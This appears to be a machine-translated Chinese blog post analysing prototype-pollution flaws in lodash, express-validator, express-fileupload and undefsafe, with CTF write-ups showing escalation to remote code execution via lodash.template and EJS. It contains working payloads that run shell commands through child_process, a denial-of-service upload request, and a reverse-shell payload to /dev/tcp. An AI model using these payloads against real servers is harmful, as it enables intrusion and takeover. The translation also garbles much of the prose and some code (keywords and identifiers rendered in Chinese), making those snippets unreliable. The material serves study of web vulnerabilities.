Nodejs 常见模块原型链污染与常见模板污染向RCE

发布于 2022-01-02 19:20

刹客网络科技资讯

Lodash模块基础链污染

Lodash 是一个 JavaScript 库,包含简化对象、数字、数组、函数和编程的工具,可以帮助程序员更有效地写作和维护 JavaScript 代码。并且是一个流行的 npm 库,仅在 GitHub 上就可以做到400 万个项目使用,Lodash 的比例非常高,每月的下载量超过 8000 万次。但是这个库中有几个严重的严重污染漏洞。

lodash.defaultsDeep 方法造成的底层链污染(CVE-2019-10744)

2019年7月2日,Snyk发布了一个高严重性的原型污染安全漏洞(CVE-2019-10744),影响了小于4.17.12的所有版本的lodash。

Lodash 库中的defaultsDeep函数可能会被包含constructor的 Payload 诱骗添加或修改Object.prototype。最终可能导致 Web 应用程序或其行为,具体事件发生的实例。

JAVASCRIPT

1 
2
3
4
5
6
7
8
9
10
11
const mergeFn = require ( 'lodash' ). defaultsDeep ; 
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}'

功能 检查) {
mergeFn({}, JSON .parse(payload)); if (({})[ `a0` ] === true ) { console .log( `易受原型污染通过${payload} ` ); } }





查看();

我们在mergeFn({}, JSON.parse(payload));处下断点,单步结束后可以看到:

成功在__proto__属性中添加了一个whoami属性,有Vulnerable,成功。

该漏洞披露之后,Lodash 于 7 月 9 日发布了 4.17.12 版本,其中包括 Snyk 修复和修复漏洞。我们可以参考一下 Snyk 的工程师Kirill发布到 GitHub 上的 lodash JavaScript 库存储库https://github。com/lodash/lodash/pull/4336/files的实际安全修复:

该修复包括以下安全检查:

  • 过滤了constructor以确保我们不会被广泛污染constructor

  • 还添加了一个测试用例以确保将来不会发生

lodash.merge 方法创建的链污染

Lodash.merge 是 lodash 中的对象合并插件,他可以还原合并的sources对象自身和继承的枚举到object对象,创建父对象以目标对象:

JS

1
合并(对象,来源)

当两个键相同时,生成的对象将具有最合适的键的值。如果有多个对象相同,则新生成的对象将有一个与这些对象相对应的键和值。但是这里的 lodash.merge 操作存在存在的简单链污染漏洞,以下对其进行分析,这里使用4.17.4版本的Lodash。

  • node_modules/lodash/merge.js

merge.js 调用了 baseMerge 方法,则定位到 baseMerge:

  • node_modules/lodash/_baseMerge.js

如果 srcValue 是一个对象,则进入 baseMergeDeep 方法,进入 baseMergeDeep 方法:

  • node_modules/lodash/_baseMergeDeep.js

跟进assignMergeValue方法:

  • node_modules/lodash/_assignMergeValue.js:

跟进baseAssignValue方法:

  • node_modules/lodash/_baseAssignValue.js

这里的如果可以绕过,最终进入object[key] = value的判断操作。

下面给出一个POC的弱点:

JS

1 
2
3
4
5
6
7
var lodash= require ( 'lodash' ); 
var payload = '{"__proto__":{"whoami":"Vulnerable"}}' ;

var a = {};
console .log( "在 whoami 之前:" + a.whoami);
lodash.merge({}, JSON .parse(payload));
console .log( "whoami 之后:" + a.whoami);

我们在lodash.merge({}, JSON.parse(payload));处下断点,单步结束后可以看到:

成功在类型为 Object 的一个对象的__proto__属性中添加了一个whoami属性,具有Vulnerable,影响成功。

在 lodash.merge 方法创建的底层链污染中,为了实现代码执行,我们往往会污染sourceURL属性,即给所有对象对象中都插入一个sourceURL属性,然后通过 lodash.template 方法中的实现自由代码执行漏洞。文中我们会通过 [Code-Breaking 2018] Thejs 这道题来仔细讲解。

lodash.mergeWith 方法造成的原链污染

方法这个类似于merge方法。但是它还会接受一个customizer,以决定如何进行合并。如果customizer报道查看undefined将会由合并处理方法代替。

JS

1
合并(对象,来源,[定制器])

该方法与merge方法一样存在原型链漏洞,下面给出一个漏洞的POC:

JS

1 
2
3
4
5
6
7
var lodash= require ( 'lodash' ); 
var payload = '{"__proto__":{"whoami":"Vulnerable"}}' ;

var a = {};
console .log( "在 whoami 之前:" + a.whoami);
lodash.mergeWith({}, JSON .parse(payload));
console .log( "whoami 之后:" + a.whoami);

我们在lodash.mergeWith({}, JSON.parse(payload));处下断点,单步结束后可以看到:

成功在类型为 Object 的一个对象的__proto__属性中添加了一个whoami属性,具有Vulnerable,影响成功。

lodash.set 方法创建的链污染

Lodash.set 方法可以将值设置到对象上,如果没有创建,则这部分路径。缺少的属性会创建会为数组,而缺少的属性创建为对象。

JS

1
设置(对象,路径,值)
  • 示例:

JS

1 
2
3
4
5
6
7
8
9
var object = { 'a' : [{ 'b' : { 'c' : 3 } }] };

_.set(object, 'a[0].b.c' , 4 );
控制台.log(object.a[ 0 ].bc);
// => 4

_.set(object, 'x[0].y.z' , 5 );
控制台.log(object.x[ 0 ].yz);
// => 5

在使用 Lodash.set 方法时,如果没有对颗粒的参数进行过滤,则可能会造成地面链污染。下面给出一个验证漏洞的 POC:

JS

1 
2
3
4
5
6
7
8
9
var lodash= require ( 'lodash' );

var object_1 = { 'a' : [{ 'b' : { 'c' : 3 } }] };
var object_2 = {}

控制台.log(object_1.whoami);
//lodash.set(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.set(object_2, '__proto__.["whoami"]' , '易受攻击的' );
控制台.log(object_1.whoami);

我们在lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable');处下断点,单步结束后可以看到:

在类型为 Array 的 object_1 对象的__proto__属性中出现了一个whoami属性,具有Vulnerable,污染成功。

lodash.setWith 方法创建的链污染

Lodash.setWith 方法类似的set方法。但它可以接受一个customizer,利用并决定如何设置对象路径的值。如果customizer返回将undefined有它的处理方法替换。

JS

1
setWith(object, path, value, [customizer])

该方法与set方法一样进行了原型链污染,下面给出一个漏洞验证的POC:

JS

1 
2
3
4
5
6
7
8
9
var lodash= require ( 'lodash' );

var object_1 = { 'a' : [{ 'b' : { 'c' : 3 } }] };
var object_2 = {}

控制台.log(object_1.whoami);
//lodash.setWith(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.setWith(object_2, '__proto__.["whoami"]' , '易受攻击的' );
控制台.log(object_1.whoami);

我们在lodash.setWith(object_2, '__proto__.["whoami"]', 'Vulnerable');处下断点,单步结束后可以看到:

在类型为 Array 的 object_1 对象的__proto__属性中出现了一个whoami属性,具有Vulnerable,污染成功。

到此我们已经对lodash模块中的几种方法进行了初步验证,可以成功地进行污染基础设施的开发。但如果要进行代码执行,则还需要配合eval()的执行或模板引擎的渲染。

Express-validator 模块基础链污染

Express-validator 模块对请求的 body、params、query、headers 和 cookies 进行验证(validator)和过滤(sanitizer),并且如果任何配置的验证规则失败,返回一个错误的响应。

开发Web时,我们总是需要对用户的数据进行验证,这包括客户端的验证验证,以及应用客户端的验证是不可靠的,我们不能把所有的用户都当成用户,绕过去过客户端的验证部分用户确切不能做什么事,因此所有数据应该在服务端也进行一次验证。通过快速验证器进行数据验证,这样就不必自己详细说明为每一个单独写验证程序。

为了更好地理解表达验证器模块的作用,下面我们来看一下官方给出的实例。首先写一个在数据库中创建用户的基本反馈:

JS

1 
2
3
4
5
6
7
8
9
10
const express = require ( 'express' ); 
const app = express();

app.use(express.json());
app.post( '/user' , ( req, res ) => {
User.create({
username: req.body.username,
password: req.body.password,
}).then( user => res.json(用户));
});

然后,如果此时你需要确保在创建用户之前对用户的输入进行并验证报告所有错误,你可以使用 express-validator 中间件:

JS

1 
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// ...为简单起见,省略了其余的初始代码。
const { body, validationResult } = require ( 'express-validator' );

app.post( '/user' , // 验证用户名只能是一个邮箱 body( 'username' ).isEmail(), // 验证密码的时间最短为5 body( 'password' ).isLength({ min : 5 }), (req, res) => { // 查看此请求中的验证错误将它们包装在具有方便功能的对象中const errors = validationResult(req); if (!errors.isEmpty()) { return res.status( 400 ) .json( {错误:errors.array() }); }












User.create({
username: req.body.username,
password: req.body.password,
}).then( user => res.json(user));
},
);

如下所示,组件可能会收到无效usernamepassword字段的请求时,您的服务器将响应如下:

JSON

1 
2
3
4
5
6
7
8
9
{ “错误”:[     { “位置”“正文”“味精”“无效值”“参数”“用户名”     }   ] }








更多详情请看:https://express-validator.github.io/docs/

看到,有了express-validator中间件,我们可以很方便的对Express应用提交的数据进行验证,但是在6.6.0版本的express-validator中存在一个基础链污染漏洞,原因是express-validator中的依赖的 lodash 模块存在原型链污染漏洞。

下面我们开始分析,写以下测试代码:

  • 应用程序.js

JS

1 
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
const express = require ( 'express' ) 
const app = express()

常量端口 = 8000

app.use(express.json())
app.use(express.urlencoded({
extended: true
}))

const {
body,
validationResult
} = require ( 'express-validator' )

middlewares = [
body( '*' ).trim() // 调用 body 对所有 POST 方法传递的数据中的键值进行修剪处理
]

app.use(中间件)

app.post( "/user" , ( req, res ) => { const foo = "hellowrold" return res.status( 200 ).send(foo) })




app.listen(port, () => { console .log( `server listener on ${port} ` ) })


安装对应版本的依赖包:

猛击

1 
2
3
NPM安装lodash@4.17.15 
NPM安装express-validator@6.6.0
故宫安装快车

我们首先来看看表达验证器是如何做参数过滤的,就是快递这个的中间件body('*').trim()到底做了什么跟进。body

  • node_modules/express-validator/src/middlewares/validation-chain-builders.js

可以看到,checkbodycookie等这些都是对buildCheckFunction函数的封装,而buildCheckFunction函数内部调用了check.js中的check函数,跟进check

  • node_modules/express-validator/src/middlewares/check.js

看到先return的地方,check函数里的middleware就是express-validator名单最终对接express的中间件。bindAll函数做的事情就是把对象原型链上的函数绑定成了对象的一个属性,因为Object.assign只做浅拷贝产品,bindAll之后Object.assign就可以把sanitizers状语从句:validators中的方法过滤绑定到middleware上面了,这样子通过了这个middleware调用所有的验证(validators)和(sanitizers)函数。

传入bindAll的参数值的英文通过Chain_1.SanitizersImpl函数报道查看的,跟进Chain_1.SanitizersImpl

  • node_modules/express-validator/src/chain/sanitizers-impl.js

在这个sanitizers-impl.js中存在很多的过滤器(消毒剂),并且每次过滤器实现的方法都调用了this.addStandardSanitization来将过滤器吸附到sanitization_1.Sanitization方法中,得到的结果再传递给this.builder.addItem,这样给builder增加了一个sanitization最终返回this.chainbindAll中,这样就执行链式调用。

我们在sanitizers-impl.js中找到了trim过滤器:

  • node_modules/express-validator/src/context-items/sanitization.js

这个Sanitization中的run方法,该方法最终能通过调用sanitizer方法设置了context的值。

看看再来那个this.builder.addItem做了什么:

  • node_modules/express-validator/src/context-builder.js

把就是传入进来的值压入this.stack栈中。

我们回到Sanitization中的run方法,这个run方法,寻找调用run的地方。在check.js里面发现一个runner对象,并在middleware里调用了run方法:

可以同样从node_modules/express-validator/src/chain/context-runner-impl.js中找到实现runner.run方法的具体位置为:

可以看到这的run这里可以context.stack看到的是从里面循环遍历了 contextItem,并调用了其run方法。这个context.stack其实就是通过this.builder.addItem方法添加的。

这就是完整过滤的express-validator的(sanitizer)的实现流程。

express-validator的做法是把各种validatorsanitizers的方法绑定到check返回的middleware上,这些validatorsanitizer的方法通过往context.stack属性里面推送 context-items,最终在ContextRunnerImpl.run方法里遍历context.stack中的context-items,逐一调用run方法实现validation或者是sanitization

在上面的分析里,context-runner-impl.js 的run中,看到options.dryRun不为真并且可以reqValue !== instance.value进入条件,则如果通过_.set重新确定req[location]的某个参数的值新的值,这里的参数都是可控的,而且 6.6.0 版本的 express-validator 中要求的 lodash 最低版本 4.17.15,就有机会触发原型链污染漏洞了。

两个条件其中options.dryRun默认为假无管,而要满足reqValue !== instance.value的条件,通过调试可以,就是使我们给的参数的值通过sanitizer改变了就行。

check().trim()这个sanitizer来举例子,我们只要给的有这样的机会,有这样一个trim()可用的空白无法使用,就可以满足上面的触发条件,但不是直接Lodash的负载就可以成功。直接发送以下测试数据包并在 context-runner-impl.js 中的_.set处下断点:

JSON

1
{ "__proto__[whoami]" : "易受攻击的" }

下面所示,发现确实满足了条件,却没有污染成功:

这是,这里_set的第一个参数和 Lodash 原始链污染提供的有效载荷还不太一样,Lodash 原始链污染的有效载荷里空是对象,而这里是req[location]req[location]因为里面本来就有我们_set的第二个参数也就是参数需要设置的对象的路径keykey源于导致了路径污染失败。

所以,现在的路径就是,我们需要把恶意的问题key传递给这个洛达什的_set函数中作为第二个参数,而恶意的恶作key是通过req的参数传递过去的,所以会被保存到_.set的参数个req[location]里面,导致原型链污染失败。有那么可能没有在这个key走到_set之前的某个时候,了经过express-validator的一些处理发生了一些变化导致状语从句:req[location]里的key不一样了呢?的这样话教育_set就可以污染成功了。

当我们降低数据包时:

JSON

1
{ "\"].__proto__[\"whoami" : "易受攻击的" }

这里的键为"].__proto__["whoami,但由于字符里面存在.,所以在段中。减少函数处理时会左右左右加双引号和中间段,最终变成[""].__proto__["whoami"]

[""].__proto__["whoami"]_set之后,由于req[location]中不存在这个key,所以就可以成功设置req[locaiton]了。这样可以成功地污染了,并且增加了一个whoami参数,我们的并没有额外的设置,增加污染值是为了一个空值。''。的英文这在因为_set的时候用的第三个参数newValue的英文利用变化后的key重新从req[location]取出来的。由于req[location]中不存在这个key,所以取出来的值是undefined,但是因为我们用了sanitizer,这个所以undefined会经过sanitizer的处理并最终变成了空字符串''

可不要小看这一个空值,就是这一个空字符串,因为的JavaScript的一些特性,便可以具备很强大的威力。比如,如果判断中,''字符串会返回假,这就是说我们可以把某些地方本来的条件决定要假,从而为某些限制或改变开始走向。

Express-fileupload 模块原型链化

Nodejs 的中间件,express-fileupload 模块可以表达应用提供文件上传功能。但是该模块的 1.1.8 之前的版本存在原型链污染漏洞(CVE-2020-7699)。但是,要引发该漏洞,需要一定的配置,即将解析嵌套选项设置为真。该漏洞可以引发 DOS 拒绝服务攻击,配合 EJS 等模板引擎,可以达到 RCE 的目的。

下面来简单的分析一下该漏洞,首先下载存在漏洞的express-fileupload源码:

猛击

1
npm i express-fileupload@1.1.7-alpha.4

引入 express-fileupload 模块原型链污染漏洞的主要代码如下:

JS

1 
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
busboy.on( 'finish' , () => { 
debugLog(options, `Busboy 完成解析请求。` ); if (options.parseNested) { req.body = processNested(req.body); // 对req.body调用processNested req.files = processNested(req.files); // 对req.files调用processNested }





if (!req[waitFlushProperty])返回next(); Promise .all(req[waitFlushProperty]) .then ( () => { delete req[waitFlushProperty]; next(); }).catch( err => { delete req[waitFlushProperty]; debugLog(options, `Error while waiting文件刷新:${err} ` ); next(err); }); });










跟进processNested函数:

JS

1 
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function  processNested ( data ) { if (!data || data.length < 1 ) return {};


d = {},
键 =对象.keys(data); //获取键名,列表

for ( let i = 0 ; i < keys.length; i++) { let key = keys[i], value = data[key], current = d, keyParts = key .replace( new RegExp ( /\[/g ) , '.' ) .replace( new RegExp ( /\]/g ), '' ) .split( '.' );








for ( let index = 0 ; index < keyParts.length; index++){ let k = keyParts[index]; if (index >= keyParts.length - 1 ){ current[k] = value; } else { if (!current[k]) current[k] = ! isNaN (keyParts[index + 1 ]) ? [] : {}; 当前 = 当前 [k]; } } }











返回d;
};

可见引发的链污染处就在于这个porcessNested方法,可以看到,它的功能那个人合并比较函数类似,都是循环调用,最终产生了原型链污染。

代码

1 
2
3
4
5
6
房价的参数是:{"abc":"whoami"}
通过这个函数后,返回的是:{ a: { b: { c: 'whoami' } } }

房价参数: {"__proto__.m1sn0w":"whoami"}
然后我们调用 console.log(Object.__proto__.whoami)
返回的值为 whoami

该漏洞的首要条件是parseNested参数为真,如果parseNested参数为真,调用则processNested函数,参数御姐是req.body或者req.filesreq.body是的NodeJS解析的POST请求体,req.files获取上传文件的信息。这两种请求方法都可以使用。

污染 toString 方法导致 DOS 拒绝服务攻击

测试代码:

JS

1 
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const express = require ( 'express' ); 
const fileUpload = require ( 'express-fileupload' );
const app = express();

app.use(fileUpload({ parseNested : true })); // 该漏的首要条件,如果parseNested参数为真,则调用processNested函数

app.get( '/' , ( req, res ) => {
res.end( 'express-fileupload poc' );
});

//设置http
var server = app.listen( 3000 , function () {

var host = server.address().address var port = server.address().port


console .log( "应用实例,访问地址为 http://%s:%s" , host, port)
});

造成DOS拒绝服务造成的目标就是污染了toString方法,了系统内部错误。这里使用req.files请求,POC如下:

PYTHON

1 
2
3
4
5
6
7
8
9
10
POST / HTTP/ 1.1
Host: 127.0 .0 .1 : 3000
Content-Type: multipart/form-data; 边界=-------- 1566035451
内容长度:137

---------- 1566035451
内容配置:表单数据;name= "__proto__.toString" ; 文件名= “文件名”

whoami
---------- 1566035451 --

发送POC之后,服务器发生错误:

配合EJS模板实现RCE

这里我们使用req.body请求,可以实现任意属性的污染。

测试代码:

  • 服务器.js

JS

1 
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const express = require ( 'express' ); 
const fileUpload = require ( 'express-fileupload' );
const app = express();

app.use(fileUpload({ parseNested : true }));

app.get( '/' , ( req, res ) => { console .log( Object .prototype.polluted); res.render( 'index.ejs' ); });




//设置http
var server = app.listen( 3000 , function () {

var host = server.address().address var port = server.address().port


console .log( "应用实例,访问地址为 http://%s:%s" , host, port)
});
  • 索引.ejs

HTML

1 
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html > 
< html >
< head > < meta charset = "utf-8" > < title > </ title > </ head > < body >





< h1 > <%= 消息%> </ h1 >

</正文>
</ html >

这里使用req.body请求,POC如下:

PYTHON

1 
2
3
4
5
6
7
8
9
10
POST / HTTP/ 1.1
Host: 127.0 .0 .1 : 3000
Content-Type: multipart/form-data; 边界=-------- 1566035451
内容长度:178

---------- 1566035451
内容配置:表单数据;name= "__proto__.outputFunctionName" ;

_tmp1; global .process.mainModule.require ( 'child_process' ).execSync( 'calc' );var __tmp2
---------- 1566035451 --

发送POC之后,成功执行命令并弹出了计算器:

用于 EJS 模板 RCE 的原理我们下篇文章中再讲。

Undefsafe 模块原型链污染

Undefsafe 是 Nodejs 的一个模块,其属性为一个简单的函数,用于核心处理对象不存在时的报错问题。但其在低版本(< 2.0.3)中存在原型链污染漏洞(CVE- 2019-10795),攻击者可利用该漏洞添加或修改 Object.prototype 属性。

undefsafe 模块的使用

我们先简单测试一下该模块的用法:

JS

1 
2
3
4
5
6
7
8
9
10
11
12
var a = require ( "undefsafe" ); 
var object = {
a: {
b: {
c: 1 ,
d: [ 1 , 2 , 3 ],
e: 'whoami'
}
}
};
控制台.log(object.abe)
// whoami

可以看到当我们正常访问对象属性的时候会正常的回显,但我们访问不存在属性的时候领取奖励当报错:

JS

1 
2
console .log(object.ace) 
// 类型错误:无法读取未定义的属性“e”

在编程时,代码量不足时,我们可能经常会遇到类似情况,导致这个程序无法正常运行,发送我们最讨厌的报错。那么 undefsafe 可以帮助我们解决问题:

JS

1 
2
3
4
5
6
7
8
9
10
var a = require ( "undefsafe" );

console .log(a(object, 'abe' ))
// 天空安全
控制台.log(object.abe)
// 天空安全
控制台.log(a(object, 'ace' ))
// 未定义
控制台.log(object.ace) )
// 类型错误:无法读取未定义的属性“e”

那么当我们愿意间时访问到对象不存在的属性,就不会再进行报错,频率会返回未定义了。

同时在对对象出现时,如果目标属性存在:

JS

1 
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var a = require ( "undefsafe" ); 
var object = {
a: {
b: {
c: 1 ,
d: [ 1 , 2 , 3 ],
e: 'skysec'
}
}
};
console .log(object)
// { a: { b: { c: 1, d: [Array], e: 'skysec' } } }
a(object, 'abe' , '123' )
console .log(object )
// { a: { b: { c: 1, d: [Array], e: '123' } } }

我们可以,看到其可以帮助我们修改属性的值。如果当属性存在时,我们想属性不启动:

JS

1 
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var a = require ( "undefsafe" ); 
var object = {
a: {
b: {
c: 1 ,
d: [ 1 , 2 , 3 ],
e: 'skysec'
}
}
};
console .log(object)
// { a: { b: { c: 1, d: [Array], e: 'skysec' } } }
a(object, 'afe' , '123' )
console .log(object )
// { a: { b: { c: 1, d: [Array], e: 'skysec' }, e: '123' } }

访问属性会在上层进行创建并启动。

Undefsafe 模块漏洞分析

但是undefsafe模块在2.0.3版本,存在示例链污染漏洞(CVE-2019-10795)。

我们在 2.0.3 版本中进行测试:

JS

1 
2
3
4
5
6
7
8
9
10
11
12
13
14
var a = require ( "undefsafe" ); 
var object = {
a: {
b: {
c: 1 ,
d: [ 1 , 2 , 3 ],
e: 'skysec'
}
}
};
var payload = "__proto__.toString" ;
一个(对象,有效载荷,“whoami”);
控制台.log(object.toString);
// [函数:toString]

但是如果在运行装备 2.0.3 版本,则训练得到输出如下:

JS

1 
2
3
4
5
6
7
8
9
10
11
12
13
14
var a = require ( "undefsafe" ); 
var object = {
a: {
b: {
c: 1 ,
d: [ 1 , 2 , 3 ],
e: 'skysec'
}
}
};
var payload = "__proto__.toString" ;
一个(对象,有效载荷,“邪恶的字符串”);
控制台.log(object.toString);
// 我是谁

可见,当 undefsafe() 函数的第 2,3 个参数开启时,我们可以污染对象对象中的值。

再来看一个简单的例子:

JS

1 
2
3
4
var a = require ( "undefsafe" ); 
var test = {}
console .log( 'this is ' +test) // 将test对象与字符串'this is '进行随机
// this is [object Object]

返回:[object Object],并与此进行了对比。但是当我们使用undefsafe的时候,可以对原地进行创建:

JS

1 
2
3
a(test, '__proto__.toString' ,函数() { return  '只是一个邪恶!}) 
console .log( 'this is ' + // 将test对象与进行字符串'this is '对象与进行
// this is just a evil!

可以看到最终输出了“这仅仅是一个邪恶的!”这就是因为原型链污染导致,当我们将对象与字符串拼接时,即将对象当做字符串使用时,自动会触发其toString方法。但由于当前对象,则回溯到原点中没有,并发现toString方法,同时进行调用,而此时原点中的toString方法已被我们污染,因此可以导致其输出被我们污染后的结果。

配合lodash.template实现RCE

Lodash.template是Lodash中的一个简单的模板引擎,创建一个预编译模板方法,可以插入数据到模板中“插值”分隔符相应的位置详情请看:http://lodash.think2011.net/template

在Lodash的原型链污染中,为了实现代码,我们通常会污染模板中的sourceURL属性,即给所有对象中的都插入一个sourceURL属性,然后通过lodash.template中的实现自由代码执行漏洞。下面我们通过【Code-Breaking 2018】js这道题来仔细讲解。

[代码破解2018]Thejs

进入题目,主页如下:

关键源码如下:

  • 服务器.js

JS

1 
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
const fs = require ( 'fs' ) 
const express = require ( 'express' )
const bodyParser = require ( 'body-parser' )
const lodash = require ( 'lodash' )
const session = require ( 'express-session' )
const随机化 =要求'随机'

const app = express()
app.use(bodyParser.urlencoded({ extended : true })).use(bodyParser.json()) // 使用json解析body
app.use( '/static' , express.static( '静态'))
app.use(会话({ //启用会议
名称:'thejs.session'
秘密:随机化('AA0' 16),
重新保存:假的
saveUninitialized:
}))
app.engine(' EJS ' ,函数(文件路径,选项,回调 { // 设置使用 ejs 模板引擎
fs.readFile(filePath, ( err, content ) => { if (err) return callback( new Error (err)) let encrypted = lodash.template(content) // 使用 lodash.template 创建一个预编译模板方法供后面使用渲染=编译({...}选项)




返回回调(null,渲染)
})
})
app.set('views''./views'
app.set('视图引擎''ejs'

app.all( '/' , ( req, res ) => { let data = req.session.data || { language : [], category : []} if (req.method == 'POST' ) { data = lodash.merge(data, req.body) // 将用户提交的数据合并到 req.session.data 中去 req.session.data = data } res.render( 'index' , { language: data.language, 类别:data.category }) })












app.listen( 3000 , () => console .log( `示例应用监听端口 3000!` ))

代码很简单,就是将用户提交的信息,用lodash.merge方法合并到会议里面去,多次提交,会话里最终保存你提交的所有信息。的这里lodash.merge操作存在原型链污染漏洞无需多言,下面给出解题的有效载荷:

JS

1
{ "__proto__" :{ "sourceURL" : "\u000areturn e =>{return global.process.mainModule.constructor._load('child_process').execSync('id')}" }}

为什么要污染源URL呢?我们看到lodash.template的代码:https : //github.com/lodash/lodash/blob/4.17.4-npm/template.js#L165

JS

1 
2
3
4
5
6
7
// 使用 sourceURL 以便于调试。
VAR sourceURL = 'sourceURL' 选项?'//# sourceURL=' + options.sourceURL + '\n' : '' ;
// ...
var结果 = 尝试(函数) { return Function (importsKeys, sourceURL + 'return' + source) .apply( undefined , importValues); });



再下看可以发现sourceURL 被输入函数 函数构造器的第二个,重新生成一个代码执行漏洞。所以我们通过原型链污染sourceURL参数构造chile_process.exec就可以执行任意代码了。但是要注意,功能下环境没有require函数,使用直接require('child_process')会报错,我们所以要用global.process.mainModule.constructor._load来代替。

我们将有效载荷以 Json 的形式发送给完整,因为快递框架支持根据 Content-Type 来解析请求正文,为我们注入基地提供了很多方便:

如上图所示,成功执行id命令。

配合ejs模板引擎实现RCE

Nodejs 的 ejs 模板引擎存在一个利用原地污染污染的一个漏洞。但要实现 RCE,首先需要有原型链,这里我们暂且使用 lodash.merge 方法中的原型链污染漏洞。

  • 应用程序.js

JS

1 
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
var express = require ( 'express' ); 
var lodash = require ( 'lodash' );
var ejs =要求( 'ejs' );

var app = express();
//设置模板的位置与种类
app.set( 'views' , __dirname);
app.set( '视图引擎' , 'ejs' );

//对原型进行污染
var evil_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2" }}' ;
lodash.merge({}, JSON .parse(malicious_payload));

//进行渲染
app.get( '/' , function ( req, res ) {
res.render ( "index.ejs" ,{
message: 'whoami test'
});
});

//设置http
var server = app.listen( 8000 , function () {

var host = server.address().address var port = server.address().port


console .log( "应用实例,访问地址为 http://%s:%s" , host, port)
});
  • 索引.ejs

HTML

1 
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html > 
< html >
< head > < meta charset = "utf-8" > < title > </ title > </ head > < body >





< h1 > <%= 消息%> </ h1 >

</正文>
</ html >

运行app.js后访问8000端口,成功弹出计算器:

下面我们开始分析。

刚开始的lodash.merge原始链污染没有什么可说的,在lodash.merge({}, JSON.parse(malicious_payload));处下断点,单步结束后可以看到:

成功在__proto__中出污染了一个outputFunctionName属性,值_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2

但要污染一个outputFunctionName属性呢?我们继续往下看。我们从index.js::res.render处开始,为什么跟进render方法:

  • node_modules/express/lib/response.js

跟进到app.render方法:

  • node_modules/express/lib/application.js

发现最终会进入app.render方法里的tryRender函数,跟踪到tryRender:

  • node_modules/express/lib/application.js

  • node_modules/express/lib/view.js

至此调用了engine,通过engine调用了ejs 的renderFile 模板引擎中的方法,从模板引擎ejs.js中使用了。进入到了模板渲染引擎中。进入ejs.js中的render方法:

  • node_modules/ejs/ejs.js

发现renderFile中又调用了tryHandleCache方法,跟进tryHandleCache:

  • node_modules/ejs/ejs.js

进入handleCache方法,跟踪handleCache:

  • node_modules/ejs/ejs.js

在handleCache中找到了渲染模板的编译方法,跟进编译:

发现在编译中存在大量的渲染拼接。将这里opts.outputFunctionName拼接到预先考虑中,添附在最后会被传递给this.source并被带入函数执行。所以如果我们能够污染 opts.outputFunctionName,就能将我们构造的有效载荷拼接进的js语句中,并在 ejs 渲染时进行 RCE。在 ejs 中还有一个render方法,其最终compile也是进入了。最后给出几个 ejs 模板引擎 RCE 常用的 POC:

JS

1 
2
3
4
5
{ "__proto__" :{ "outputFunctionName" : "_tmp1;global.process.mainModule.require(\'child_process\').execSync('calc');var __tmp2" }}

{ "__proto__" :{ "outputFunctionName" : "_tmp1;global.process.mainModule.require(\'child_process\').exec('calc');var __tmp2" }}

{ "__proto__" :{ "outputFunctionName" : "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1 \"');var __tmp2" }}

[XNUCA 2019 预选赛]Hardjs

进入题目是一个登录页面:

关键源码如下:

  • 服务器.js

JS

1 
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
const fs = require ( 'fs' ) 
const express = require ( 'express' )
const bodyParser = require ( 'body-parser' )
const lodash = require ( 'lodash' )
const session = require ( 'express-session' )
const randomize = require ( 'randomatic' )
const mysql = require ( 'mysql' )
const mysqlConfig = require( "./config/mysql" )
const ejs = require ( 'ejs' )

...

app.get( "/get" ,auth, async function ( req,res,next ) {

var userid = req.session.userid ; var sql = "select count(*) count from `html` where userid= ?" // var sql = "select `dom` from `html` where userid=? "; var dataList = await query(sql,[userid]);




if (dataList[ 0 ].count == 0 ){
res.json({})

} else if (dataList[ 0 ].count > 5 ) { // 如果len > 5,合并所有并更新mysql console .log( "合并数据库中的记录器。" );



var sql = "select `id`,`dom` from `html` where userid=?" ; var raws = await query(sql,[userid]); var doms = {} var ret = new Array ();




for ( var i= 0 ;i<raws.length ;i++){
lodash.defaultsDeep( doms , JSON .parse(raws[i].dom)); // 漏洞点

var sql = "从 `html` 中删除 id = ?" ; var result = await query(sql,raws[i].id); } var sql = "插入`html`(`userid`,`dom`)值(?,?)" ; var result = await query(sql,[userid, JSON .stringify(doms)]);





if (result.affectedRows > 0 ){
ret.push(doms);
res.json(ret);
} else {
res.json([{}]);
}

}其他{

console .log( "返回记录器小于5,不合并返回。" ); var sql = "select `dom` from `html` where userid=?" ; var raws = await query(sql,[userid]); var ret = new Array ();




for ( var i = 0 ;i< raws.length ; i++){
ret.push( JSON .parse( raws[i].dom ));
}

控制台.log(ret);
res.json(ret);
}

});

...

查看/getlodash.defaultsDeep这个方法还有漏的逻辑,可以看到当条数大于五条时会触合并合并操作,使用并且是,污染存在原链,在前文已经分析过不在多说。模板引擎,我们可以通过ejs模板引擎进行RCE。

JS

1
